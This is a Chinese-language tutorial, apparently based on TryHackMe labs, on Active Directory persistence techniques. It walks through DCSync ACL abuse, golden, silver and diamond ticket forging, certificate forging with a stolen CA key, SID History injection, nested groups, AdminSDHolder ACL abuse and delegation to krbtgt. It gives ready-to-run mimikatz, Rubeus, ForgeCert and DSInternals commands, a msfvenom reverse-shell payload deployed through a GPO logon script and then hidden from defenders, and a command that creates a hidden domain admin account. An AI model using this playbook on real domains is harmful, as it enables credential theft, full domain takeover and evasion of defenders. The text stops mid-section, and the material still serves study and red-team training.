Windows域内持久化技术
前言
权限最高的账户或组并不总是最适合用于持久化的,特权组比其他组受到更严格的监控,任何被归类为受保护组的组,如域管理员或企业管理员,都会受到额外的安全审查。
网络拓扑
与 thm 相关的示例/实验都使用的下面这个网络拓扑:
利用 DC Sync 持久化
概念&原理
DCSync 工作流程
-
发现与请求:先在网络中定位域控,客户端域控通过目录复制服务的 GetNCChanges 接口,向服务端域控发起 DRSGetNCChanes 请求获取活动目录对象更新。
-
响应与复制:服务端响应包含客户端需应用的更新集,若更新量大需多次请求响应,构成复制周期;各域控运行知识一致性检查器(KCC),通过 RPC 自动同步信息。
具有 DCSync 权限的用户
运行 DCSync 需要具有特殊的权限,默认情况下,只有以下组中的用户具有运行 DCSync 的权限
- Administrator 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控计算机账户
可以使用 Adfind 执行如下的命令查询域内具备具备 DCSync 权限的用户:
AdFind.exe -s subtree -b "DC=hack,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
攻击与持久化
-
域管理员组账户等有同步权限的账户可发起复制,攻击者控制此类账户可获取用户账户凭据。
-
可利用三类凭据实现持久化:
- 多机本地管理员权限凭证:通常,组织会有一个或两个在几乎所有计算机上拥有本地管理员权限的组。这些组通常分为一个用于工作站和一个用于服务器。通过收集这些组成员的凭证,我们仍然可以访问该组织的大部分计算机。
- 具有委派权限的服务账户:使用这些账户,我们将能够强制黄金票据和白银票据执行 Kerberos 委派攻击。
- 特权 AD 服务账户 :如果我们获取了 Exchange、Windows Server Update Services (WSUS)或 System Center Configuration Manager (SCCM)等特权服务的账户,我们可以利用 AD 漏洞再次获得特权访问权限。
攻击方法
修改 DCSync 的 ACL
让其他用户也拥有 DC Sync 的权限,只需要将普通域用户加入下面两条 ACE 即可:
DS-Replication-Get-Changes:复制目录更改权限,该权限只能从给定的域复制数据,不包括私密域数据。该 ACE 的 rightsGUID 为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。DS-Replication-Get-Changes-ALL:复制目录更改所有项权限,该权限允许复制给定的任意域中的所有数据,包括私密域数据。该 ACE 为 rightsGUID 为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。
注意 :其实还有 Replicating Directory Changes In Filtered Set(复制筛选集中的目录更改权限)但还是很少见,仅在某些环境中需要,所以可以忽略。该 ACE 的 rightsGUID 为:89e95b76-444d-4e62-991a-0facbeda640c。
(1)图形化赋予指定用户的 DCSync 权限
打开“Active Directory 用户和计算机”—>“查看“—>“高级功能”,找到域,右击,选择“属性 "选项,然后在弹出的对话框中单击" 安全 "选项卡的”高级“按钮,可以看到 Domain Controlles 具备" 复制目录更改所有项的权限”,这就是 Domain Controlles 具备 DCSync 权限的原因。然后单击”添加”按钮,"主体”选项选择需要赋予权限的用户,这里的选择域用户,“应用于" 选择“只是这个对象”,如图所示:
在“权限”下勾选“复制目录更改”和“复制目录更改所有项”复选框,如图所示,单击“确定”按钮就可以看到域用户具有的权限了,如图所示:域用户 jack 具有 DCSync 权限。

(2)Powershell 脚本赋予指定用户 DSCync 权限
可以使用 Empire 下的 PowerView.ps1 脚本执行命令如下,赋予域用户 test DCSync 权限。
Import-Module .\pwerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=hack,DC=com' -PrincipalIde test -Rights DCSync -Verbose
凭据搜集
通过 mimikatz 将同步过来的账户凭据进行提取:
单个账户:
lsadump::dcsync /domain:<域名> /user:<low-privilege AD Username>
所有账户:
# 法一:通过mimikatz的日志记录保存执行结果,username随便取一个名字即可
.\mimikatz.exe "log <username>_dcdump.txt" "lsadump::dcsync /domain:<域名> /all" "exit"
# 法二(推荐):直接将执行结果写入文件
.\mimikatz.exe "lsadump::dcsync /domain:<域名> /all" "exit" > dcsyncall.txt
利用票据持久化
[!IMPORTANT]
票据伪造的目的是权限维持和任意访问,而不是用于拿下 DC!!!
黄金票据
原理
在 Kerberos 认证中 Client 通过 AS 认证后 AS 会给 Client 一个 Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash 就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过 AS 验证不用验证账户和密码,所以也不担心域管密码修改。
有效期:10 年
所需信息
Tips:需要已拿下 DC
- 域名称
- 域的 SID 值
- 域的 KRBTGT 账号的 HASH
- 伪造任意用户名 (获取域的 SID 和 KRBTGT 账号的 NTLM HASH 的前提是需要已经拿到了域的权限)
信息获取
# 获取域的SID值(去掉最后的‐500,500表示为administrator用户)
whoami /user
# 查看当前域得到域名
net config workstation
例:
得到域名:hack.com,SID 值为:S-1-5-21-3435113289-1855702322-4007071888
# 使用mimikatz获取hash值
mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "exit" # 风险较高
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:hack.com /user:krbtgt" "exit" # 风险较低
例:

得到 hash:ccdaec0b013adf6d0032ffdd9141a768
票据伪造
PS:所在主机必须是域内用户或者 system 用户
此时已经拥有 krbtgt 账号的 hash,接下来切换到普通机器,使用 mimikatz 制作黄金票据。
# 这两条命令可以清除机器中的票据,以防干扰
Kerberos::purge
klist purge
# 票据制作语句
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
# 例
kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-3435113289-1855702322-4007071888 /krbtgt:ccdaec0b013adf6d0032ffdd9141a768 /ticket:ticket.kirbi
例:
票据传递
详细操作参见:票据传递(Pass-the-Ticket)
kerberos::ptt ticket.kirbi
dir \\dc.cyber.com\c$
例:
此时一个通往域内任意服务的后门制作完成。 可以直接使用 psexec 工具获得交互权限
PsExec64.exe \\dc.cyber.com -s cmd.exe也可以在域内创建隐藏用户:net user qwerty$ Aa123456 /add /domainnet group "domain admins" qwerty$ /domain
白银票据
原理
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。 在 Kerberos 认证中,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。 所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。
所需信息
- 域名
- 域 sid
- 目标服务器名
- 找到可利用的服务并获取该服务账号的 NTML HASH
- 需要伪造的用户名
信息获取
# 获取域的SID值(去掉最后的‐500,500表示为administrator用户)
whoami /user
# 查看当前域得到域名
net config workstation
# 获取服务账号hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > 'xxx.txt'
# 若目标服务器为域控制器(DC),使用DCSync获取哈希
mimikatz.exe "lsadump::dcsync /domain:cyber.com /user:DC$"
PS:一定要选择服务器的名字跟他的 hash
![]()
制作票据并注入
# 清除票据
klist purge
# 制作语法
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx任意用户名 /ptt
# 参考命令
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt
攻击成功:
Tips:由于 cifs 服务权限不够,无法读取 krbtgt 的 hash,无法制作黄金票据,所以目前只能访问 DC 但不能控制 DC,所以需要再制作 ldap 的票据,从而控制 DC。
LDAP 共享服务伪造
lsadump:: dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
制作票据只需要将签名的命令中的服务改为 ldap 即可:
# 清除票据
klist purge
# 票据制作、注入
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

成功拿到 krbtgt 的 hash,可以制作黄金票据,再次掌控 DC。
可以伪造的服务
| 服务名 | 关联的服务组件 |
|---|---|
| WMI | HOST、RPCSS |
| Powershell Remoteing | HOST、HTTP |
| WinRM | HOST、HTTP |
| Scheduled Tasks | HOST |
| LDAP、DCSync | LDAP |
| Windows File Share (CIFS) | CIFS |
| Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
钻石票据
钻石票据只需请求普通票证、解密 PAC、修改、重新计算签名并再次加密,生成与合法 PAC 高度相似的 PAC,并且还可以生成合法请求。
在这里使用 Rebeus 进行钻石票据攻击的利用。
利用条件
- krbtgt aes256 密钥
- 域密码
- 域控高权限
信息获取
首先使用 mimikatz 获取 krgtgt 的 aes256 密钥:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"
获取到的信息汇总:
krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
user:mssql
password:1qaz@WSX
domain:de1ay.com
dc:dc.de1ay.com
ticketuser:administrator
票据制作
在使用钻石票据之前,低权限的主机是无法访问域控的。那么有了以上这些信息,我们接着在低权限的机器里上传 Rubeus 开始进行钻石票据攻击,先制作票据:
Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap
成功制作了钻石票据:ticket.kirbi
票据传递攻击
接着就是利用拿到的 ticket 开始钻石票据攻击:
# 示例命令
Rubeus.exe asktgs /ticket:doIFOjCCBT...3QbCURFMUFZLkNPTQ== /service:cifs/dc.de1ay.com /ptt /nowrap
成功以低权限机器访问域控!就此钻石票据也利用成功了。
票据使用分析
| 特性 | 黄金票据 | 白银票据 | 钻石票据 | 蓝宝石票据 |
|---|---|---|---|---|
| 攻击目标 | TGT(任意用户) | ST(特定服务) | TGT(PAC 篡改) | ST(精细化伪造) |
| 依赖条件 | krbtgt 哈希 |
服务账户哈希 | 普通用户凭证 + 加密破解 | 服务账户哈希 + 环境控制 |
| 隐蔽性 | 低(易被日志检测) | 中等 | 高 | 高 |
| 持久性 | 永久(除非重置 krbtgt) |
临时(ST 有效期) | 临时(TGT 有效期) | 临时(ST 有效期) |
| 检测绕过手段 | 无 | 部分模拟合法流量 | 合法 TGT 基础 + PAC 篡改 | 时间/加密/IP 模拟 |
利用证书持久化
高危操作,影响较大,实战不建议使用。
概念&原理
攻击者获取一个有效的、可用于客户端身份验证的证书(通常通过 窃取根CA私钥伪造或滥用合法证书)后,可以直接使用该证书向 KDC 请求 TGT。这种基于证书的身份验证方式独立于目标账户的密码,使得即使账户密码被更改或轮换,攻击者仍能持续请求新的 TGT,从而维持对网络资源的持久访问权限。这种持久化方式极其强韧,因为主要的补救措施“证书吊销”在攻击者使用窃取的 CA 私钥伪造证书时完全失效(这些伪造证书不在合法的吊销列表内,见下图)。最终,彻底清除此类持久化的唯一有效手段通常是 代价高昂且破坏性极大的CA根证书轮换,这需要吊销旧 CA 并重新颁发域内所有依赖证书,所以在实战中不建议使用。

攻击手法
这里使用一个已知的管理员凭据登录跳板机:administrator : tryhackmewouldnotguess1@
盗取私钥
-
CA 环境弱点:CA 私钥通常存储在域控制器上,通常仅依赖 DPAPI(数据保护 API)加密,未使用 HSM 硬件保护
-
工具利用(Mimikatz):
# 提权至调试权限、修补CryptoAPI内存标志、修补CNG密钥隔离服务 .\mimikatz.exe "privilege::debug" "crypto::capi" "crypto::cng" "crypto::certificates /systemstore:local_machine /export" "exit" -
示例:


PS:可以看到证书都被提取到当前目录了,但需要的是 za-THMDC-CA.pfx 证书,为了成功导出相关的私钥,还必须使用密码对证书进行加密(在默认情况下,Mimikatz 会分配 mimikatz 作为证书的加密密码)。。
伪造用户证书
Tips:使用 scp 等方式将证书拉取下来,后续操作可以在跳板机上操作也可以在自己的 win 主机中操作
-
原理:拥有 CA 私钥即可签发任意用户证书
-
工具利用(ForgeCert):
ForgeCert.exe --CaCertPath <za-THMDC-CA.pfx>--CaCertPassword mimikatz --Subject CN=User --SubjectAltName <域中的用户,可以用administrator> --NewCertPath admin.pfx --NewCertPassword P@ssw0rd参数说明:
- --CaCertPath - 之前导出的 CA 证书文件的具体路径(如果文件在当前目录下,则此处输入文件名称即可)。
- --CaCertPassword - 用于加密 CA 证书的密码,在默认情况下,Mimikatz 将会分配的密码为 mimikatz。
- --Subject - 证书的主体名称或者公用名称,这在使用 AD 证书的上下文环境中并不重要。
- --SubjectAltName - 这是将要使用此证书进行模拟的目标帐户的用户主体名称(UPN-User Principal Name),它必须是合法用户。
- --NewCertPath - ForgeCert 用于存储所生成的新证书的路径及名称。
- --NewCertPassword - 由于证书需要导出私钥来进行身份验证,因此这里必须设置用于加密新证书的新密码。
-
示例:

请求 Kerberos 票据(TGT)
-
原理:利用 PKINIT 协议,用证书代替密码认证
-
工具利用(Rubeus):
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:admin.pfx /password:P@ssw0rd /outfile:admin.kirbi /domain:<域名> /dc:<DC_ip>参数说明:
- /user - 指定我们将要模拟的目标用户,这必须与我们所生成的 AD 证书的 UPN 匹配。
- /enctype - 指定票据的加密类型,设置此项有助于我们规避检测,因为默认的加密算法很弱,可能会导致蓝队收到一个 overpass-the-hash 攻击的警报。
- /certificate - 我们之前所生成的证书的具体文件路径(如果是在当前目录下,则此处输入文件名称即可)。
- /password - 我们为证书文件所设置的密码(根据我们在生成证书时所使用的命令可知)。
- /outfile - 我们将要生成的 TGT 所对应的文件。
- /domain - 我们当前所攻击的目标域的 FQDN(完全限定域名)。
- /dc - 与我们所请求的 TGT 相关的域控制器(DC)的 IP,通常会选择运行 CA 服务的 DC。
-
示例:

注入票据提权
-
工具利用(Mimikatz):
kerberos::ptt admin.kirbi # 将TGT注入当前会话 dir \\THMDC.<域名>\c$ # 验证域控访问权限 -
示例:

通过 SID History 持久化
概念&原理
- SID (Security IDentifier): 每个用户、组、计算机在 AD 域中唯一的身份标识符。权限判断基于 SID。
- SID History: 用户对象的一个属性,用于存储该用户 之前 拥有的 SID(通常来自旧域)。目的是在域迁移时,让用户在新域登录后,其访问令牌仍包含旧域的 SID,从而保持对旧域资源的访问权限。
- 访问令牌 (Access Token): 用户登录时创建,包含用户身份 (SID) 及其所属组的 SID。资源访问控制 (DACL) 就是基于这个令牌中的 SID 列表来授权。
SID History 滥用的原理
通过伪造 SID History,授予攻击者低权限账户 DA 访问权限,攻击者利用了 SID History 的两个关键特性:
- 无域限制: SID History 理论上可以包含 任何有效的 SID,不仅仅限于其他域的 SID。这意味着可以将当前域(甚至本域)的高权限 SID(如 Domain Admins, Enterprise Admins)添加到低权限用户的 SID History 中。
- 令牌包含性: 用户登录时,其 SID 以及 SID History 属性中的所有 SID 都会被添加到用户的访问令牌中。
- 权限等价性: 访问令牌中的 SID 被资源服务器(文件服务器、域控制器等)视为该用户 当前有效 的身份和组成员资格。如果令牌中包含
Domain Admins的 SID (S-1-5-21-...-512),系统就会认为该用户是 Domain Admins 组的成员,无论该用户的memberOf属性是否实际包含这个组。
攻击手法
确认目标账户状态
使用 administrator 账户登录跳板机,检查(低权限)用户的 SID 历史记录以及相关的组成员关系:
Get-ADUser <low-priveleged AD accountName> -properties sidhistory,memberof
示例:
Tips:可以看到低权限 AD 用户当前并未设置任何 SID 历史记录。
PS:切换为 powershell 时使用下列命令可以运行任何 PowerShell 脚本,无论其来源(本地、网络下载)或是否签名,系统都不会阻止或警告:
powershell -ep bypass
获取高权限组 SID
尝试获取 Domain Admins(域管理员)组的 SID,并将其添加到低权限用户的 SID 历史记录中:
Get-ADGroup "Domain Admins"
示例:
得到 SID:S-1-5-21-3885271727-2693558621-2658995185-512
篡改 SID 历史
使用 DSInternals 工具直接修补 ntds.dit 文件(该文件是存储所有信息的 AD 数据库文件),并且将域管理员组的 SID 注入到低权限用户的 SID 历史记录中:
# 安装工具(可选)
Install-Module DSInternals -Force
Import-Moduls DSInternals
# 停止ntds服务
Stop-Service -Name ntds -force
# 注入恶意 SID History
Add-ADDBSidHistory -SamAccountName 'low-priveleged AD accountName' -SidHistory '之前得到的SID' -DatabasePath C:\Windows\NTDS\ntds.dit
# 重启ntds服务
Start-Service -Name ntds
-
目的:解锁 AD 数据库文件
ntds.dit(此操作会暂时瘫痪域认证,关闭 NTDS 服务完成操作后要及时开启服务!)。 -
示例:

验证攻击效果
使用低权限凭证登录跳板机,并验证 SID 历史是否已添加,以及当前是否拥有域管理员权限。
-
属性验证(在任意主机):
# 重新查询目标账户属性 Get-ADUser <低权限用户名> -Properties sidhistory- 成功标志:输出包含注入的 SID(如
SIDHistory : {S-1-5-21-...-512})。
- 成功标志:输出包含注入的 SID(如
-
权限验证(使用低权限账户登录工作站):
# 尝试访问域控制器的系统目录 dir \\<DC主机名>\c$ # 例:dir \\thmdc.<域名>\c$- 成功标志:可列出目录内容(证明具备 DA 权限)。
示例:
Tips:可以看到地权限用户有 SIDHistory 了,也能访问 DC 目录了
通过嵌套组持久化
如果不想篡改 SID 历史,可以直接将掌握的账户添加到 AD 组中实现持久化 。虽然 SID 历史是一种很好的持久化技术,但凭证轮换和清理仍然可以清除我们的持久化 。在某些情况下,直接针对 AD 组本身进行持久化可能更好。
概念&原理
嵌套组/递归组:某个组是另一个组的成员。
核心原理:A 组中如果有 B 组作为成员,那么查询 A 组成员时并不会将 B 组的成员列出,而是只列出 B 组和其他成员,那么如果 B 组下嵌套多层组作为成员,那么这就很难管理有哪些成员账户拥有了高权限。
核心攻击思想:隐身于组嵌套中
- 规避监控:直接修改特权组(如 Domain Admins)成员会触发告警,但修改嵌套子组通常不会。
- 权限继承:通过多层组嵌套,让低权限账户继承高权限组的权限。
- 深度隐藏:攻击者账户仅存在于最底层组,常规审计难以发现。
攻击模拟&手法
创建基础组
使用 administrator 帐户通过 SSH 登录到跳板主机,然后创建一个新的基础组,并且将该组隐藏在 People-> IT OU(组织单元)中:
# 以管理员登录跳板机
ssh <域名>\\administrator@thmwrk1.<域名>
#Password:tryhackmewouldnotguess1@
# 切换powershell
powershell -ep bypass
# 创建组1
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security
#上述组名自定义即可
创建多层嵌套组
在 People-> Sales OU 中创建另一个组,并将之前的组添加为新组的成员(重复多次):
# 创建组2
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security
# 将组2添加为组1成员
Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
# 创建组3
New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security
# 将组3添加为组2成员
Add-ADGroupMember -Identity "<username>_nestgroup3" -Members "<username>_nestgroup2"
...
#上述组名自定义即可
将顶层组链接到特权组
将上述所创建的最后一个组添加到域管理员组:
Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"
迁移低权限用户
将低权限的 AD 用户添加到先前所创建的第一个组中:
Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"
示例:

结构:
Domain Admins
|_ginkg0_nestgroup5
|_ginkg0_nestgroup4
|_ginkg0_nestgroup3
|_ginkg0_nestgroup2
|_ginkg0_nestgroup1
|_louis.cole(低权限用户)
测试
访问权限测试
完成前面的操作后,低权限账户就拥有了对 DC 的特权访问权限:
dir \\thmdc.<域名>\c$\
示例:
成员验证
即使创建了多个组,域管理员组也只有一个新成员:
Get-ADGroupMember -Identity "Domain Admins"
示例:
Tips:可以看到虽然创建了很多组,但由于是嵌套的,所以在管理员组中只看得到一个组作为成员在其中,如果想要找到其中的“低权用户”则需要将其下所有组的成员都枚举出来才行,增加了被发现的难度。
通过 ACL 持久化
如果想要不仅仅存在于普通的 AD 组中,而要同时持续存在于所有受保护的组中,那么就需要用到 GPOs(组策略)了。
概念&原理
原理:攻击者通过 篡改 AdminSDHolder 的 ACL 作为模板(或者其他的可利用模板),利用 SDProp 进程周期性同步特性,使恶意权限自动复制到受保护组,从而达到即使蓝队删除恶意组成员,SDProp 刷新后权限会 自动恢复,实现持久化控制。
概念:
-
AdminSDHolder 容器
-
位置:每个 AD 域的
CN=System容器下。 -
作用:作为 权限模板,其 ACL(访问控制列表)定义受保护组的权限基线,非用于自身保护。
-
-
受保护组(Protected Groups)
-
性质:高敏感内置 AD 组(如 Domain Admins、Enterprise Admins 等),掌握域 / 林管理关键权限。
-
范围:参考微软官方文档获取完整列表。
-
-
SDProp 进程
-
功能:域控制器(通常为 PDC Emulator 角色持有者)后台进程,每 60 分钟定期 将 AdminSDHolder 的 ACL 复制到受保护组及关键账号(如 Administrator)的 ACL。
-
目的:确保敏感对象权限维持安全基线,防止被恶意修改。
-
攻击手法
使用 AdminSDHolder 容器(修改其 ACLs)实现权限维持
为了避免被踢出会话,这里通过低权限 AD 账户 RDP 登录跳板机(THMWRK1),然后使用 runas 命令注入管理员凭据到当前会话中以管理员权限打开 MMC:
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
#Password:tryhackmewouldnotguess1@
#在新终端界面中执行以下命令
mmc.exe #这能以管理员用户身份成功访问到域控制器上的MMC控制台

打开 MMC 窗口之后,需要向其添加“Users and Groups 用户和组”管理单元(File-> Add/Remove Snap-in-> Active Directory Users and Computers),并且选中目标域以启用高级功能(View-> Advanced Features),然后就可以在 Domain-> System 下面找到 AdminSDHolder 组:
然后继续导航到该组的 Security 属性(右键单击 AdminSDHolder-> Properties-> Security):
在上述界面中添加已控制的低权限 AD 用户,并且授予其完全控制(Full Control)权限,最后效果如图:
手动启动 SDProp 进程
正常情况下需要等待 SDProp 进程每 60 分钟执行一次,然后所添加的低权限用户就能完全所有的受保护组,将所更改的 ACL(访问控制列表)传播到所有的受保护组。
当然也可以通过脚本 I nvoke-ADSDPropagation.ps1 手动启动该进程:
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation
等待一会后随便查看一个受保护组的权限,例如域管组中就可以在 ACL 中看到该用户:
这样不论防守者如何删除,只要没有将之前修改的模板进行处理,每隔 60 分钟就能再次获得权限。
通过 GPOs(组策略)持久化
概念&原理
组策略管理在 AD 中提供了一个中央机制来管理(GPM)所有加入域的机器的本地策略配置。这包括配置,如受限组的成员资格、防火墙和杀毒软件配置,以及应在启动时执行的脚本,但其也可以被用于在整个环境中维持权限持久化,而且攻击者还可以隐藏 GPO 使其难以发现、移除。
常见 GPO 持久化技术:
- 配置受限制组的成员关系:这将允许攻击者以管理权限访问域内的所有主机。
- 部署登录脚本:这将确保每次 AD 用户对域中的主机进行身份验证时(如 AD 用户的登录操作),攻击者都会得到一个 shell 回调。
攻击手法&示例
准备工作
创建 GPO 之前需要生成 shell 文件、设置端口侦听器以及编写能够执行 shell 的 bat 文件。可以使用 msf 来生成一个可执行的 shell 文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<local ip> lport=4445 -f exe > <username>_shell.exe
然后还需要创建一个批处理脚本,此脚本会在 AD 用户登录主机时在目标系统上运行,该脚本将执行以下操作:
- 将有效载荷文件(即上面所生成的 shell 文件)从域控制器(DC)上的 SYSVOL 目录复制到 AD 用户的计算机上的临时目录下;
- 等待 20 秒并完成 shell 文件的复制;
- 执行有效载荷文件,生成反向 shell。
脚本内容如下:
#在攻击机上创建一个bat脚本(vim my_script.bat),内容如下:
copy \\<域名>\sysvol\<域名>\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe
tips:Windows 允许我们通过登录 GPO 执行 Batch(批处理)或 PowerShell 脚本,但是批处理脚本通常比 PowerShell 脚本更稳定。
然后使用 scp 等方法将准备的两个文件上传到 目标 DC 的 SYSVOL 目录中:
#在攻击机上操作
scp my_shell.exe <域名>\\<目标用户名>@<DC主机名>.<域名>:C:/Windows/SYSVOL/sysvol/<域名>/scripts/
scp my_script.bat <域名>\\<目标用户名>@<DC主机名>.<域名>:C:/Windows/SYSVOL/sysvol/<域名>/scripts/
# 比如:scp my_script.bat abc\\admin@DC1.abc.com:C:/Windows/SYSVOL/sysvol/abc.com/scripts/
#用户名:administrator
#密码:tryhackmewouldnotguess1@

然后启动监听器:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"
准备工作完成。
创建 GPO
通过低权限用户 RDP 登入跳板机,然后利用 runas 使用管理员凭据打开 mmc 控制台,参考前面的 ACL 持久化的相关内容。
# 攻击机上另启一个终端
xfreerdp /d:<域名> /u:'<低权限用户>' /p:'密码' /v:<目标主机名>.<域名> /cert:ignore +clipboard
runas /netonly /user:<DC主机名>.<域名>\Administrator cmd.exe
# 管理员凭据:administrator :tryhackmewouldnotguess1@
mmc.exe
在 MMC 控制台中选择文件 > 添加/删除管理单元,并添加 Group Policy Management(组策略管理)单元:
右击 GPM 中的 Admin OU,以创建一个会被应用到所有管理员的 GPO(比如 name - persisting GPO):
右击创建的 GPO 并选择 Enforced(强制执行),这将确保创建的策略被应用(即使存在策略冲突,这也能让此策略更加优先):
右键单击上述恶意策略并选择编辑:
- 在用户配置下,展开 Policies-> Windows Settings。
- 选择 脚本(登录/注销)。
- 在 Logon-> 属性 上右键单击
- 选择 脚本 选项卡。
- 点击 添加-> 浏览 。
然后导航到之前上传的两个脚本的位置:
选择批处理文件作为脚本,应用后就可以实现每次管理员组成员登录到仍和计算机时都会收到一个反向 shell 回调。
隐藏 GPO
为了更加持久的维持权限,需要将 GPO 进行隐藏,在跳板机上再次以管理员权限打开 MMC 进行操作。
选择委派选项卡:

在默认情况下,所有管理员都可以编辑前面所创建的 GPO,所以需要删除这些权限:
- 右键点击 企业域控制器 并选择 编辑设置、删除、修改安全 。
- 点击 所有其他组(除 Authenticated Users 外)并点击 移除 。
最后的委派内容将如下所示:

单击恶意 GPO 的安全设置中的高级选项,并从权限中删除对所有者(Created Owner)的权限:

添加域计算机 ,以便它们可以读取策略并拉取脚本
最后,从策略中 移除认证用户 。这将导致任何人(包括攻击者自己)都无法查看/编辑你创建的策略。现在唯一能移除它的方法就是模拟域控制器的机器账户。
执行完这些步骤后,会收到一个错误,告知无法再读取自己的策略:
也可以在侧边栏看到当前无法再读取这个策略:
这样可以确保即使拥有最高权限, 蓝队也无法移除创建的恶意组策略对象(GPO),除非他们选择模拟域控制器的计算机帐户。
通过委派持久化
原理&概念
假设攻击者已控制一个机器账户或者服务账户作为服务 A,如果配置了服务 A 到服务 B(krbtgt)的约束性委派/RBCD,那么通过委派,控制的服务 A 可获取 KDC 服务(krbtgt)的 ST。由于 Kerberos 协议设计,此 ST 实际是一张 TGT,且其中的用户身份可通过 S4U2self 任意伪造(如域管理员),获得此 TGT 后,攻击者即拥有该伪造用户的全部权限。
前提
通过委派实现持久化需要几个前提:
-
首要前提:控制的服务 A 需要有对 krbtgt 具有约束性委派权限(传统或 RBCD)
-
在以下三种账户中选择一个作为服务 A:
类型 示例 特点 1. 现有 SPN 域用户 SQLSvc(数据库服务账户)最隐蔽,但需密码永不过期( -PasswordNeverExpires $true)2. 新建机器账户 MAQ_Backdoor$默认 30 天自动改密码,需禁用密码更新(风险操作) 3. 新建 SPN 域用户 svc_golden需手动设 SPN,但密码策略可控 Tips:真实环境下优先选用 现有 SPN 服务账户(企业环境中大量存在且不易被察觉,避免新建域用户,实现动静最小化。)
选择控制账户
三种账户查找/创建方法:
(1)已经存在的有 SPN 的域用户
使用以下的命令可以寻找域内具有 SPN 并且密码永不过期的用户账户:
Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires | ?{(\$_ServicePrincipalName -ne "") -and (\$_.PasswordNeverExpires -eq $true)}
(2))新建机器账户
使用 Powermad.ps1 脚本执行如下命令新建一个机器账户 machine_account,密码为 root,结果如图所示:
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount machine_account
Tips:这种方法唯一的限制是机器账户密码的自动更新问题,默认情况下,机器账户密码每隔 30 天就会自动更新,对应的凭据也会发生变化,使后门失去作用。如果禁止机器账户更新,需要修改注册表。
(3)新建域用户,然后赋予 SPN
执行如下的命令新建一个域用户 hack_test, 然后赋予了 SPN,结果如图所示:
#新建域用户 hack_test
set user hack_test Pass1234 /add /domain
#注册SPN
setspn -U -A priv/golden hack_test
#查看指定用户的SPN
setspn -L hack_test
实验模拟
实验环境如下:
- 域控:DC2(192.168.41.50)
- 域:abc.hack.com
- 新建域用户:hack_test
环境搭建
创建服务用户并注册 spn:
# 创建域用户并设置SPN,这里是创建的hack_test
net user hack_test Pass1234 /add /domain
setspn -U -A priv/golden hack_test
配置基于资源的约束委派(RBCD):
# 允许hack_test委派到krbtgt
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack_test
#查询 krbtgt的属性
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

开始实验
使用 Impacket-getST.py 脚本进行利用:
#基于资源的约束性委派的利用
